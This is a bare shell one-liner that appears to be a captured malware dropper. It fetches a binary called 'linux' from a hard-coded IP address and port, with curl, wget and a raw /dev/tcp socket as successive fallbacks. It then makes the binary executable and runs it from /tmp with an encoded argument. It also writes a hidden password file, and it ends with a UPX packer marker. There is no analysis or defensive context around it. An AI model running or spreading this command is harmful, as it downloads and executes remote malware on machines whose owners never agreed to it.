nohup $SHELL -c "curl http://138.197.95.202:60146/linux -o /tmp/CFz9biwVTP; if [ ! -f /tmp/CFz9biwVTP ]; then wget http://138.197.95.202:60146/linux -O /tmp/CFz9biwVTP; fi; if [ ! -f /tmp/CFz9biwVTP ]; then exec 6<>/dev/tcp/138.197.95.202/60146 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/CFz9biwVTP && chmod +x /tmp/CFz9biwVTP && /tmp/CFz9biwVTP tN9u6Dn0bsvN185n6i7oacXPyc5v7SDrbMfXyMZo[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/CFz9biwVTP && /tmp/CFz9biwVTP tN9u6Dn0bsvN185n6i7oacXPyc5v7SDrbMfXyMZo[...]" &#UPX!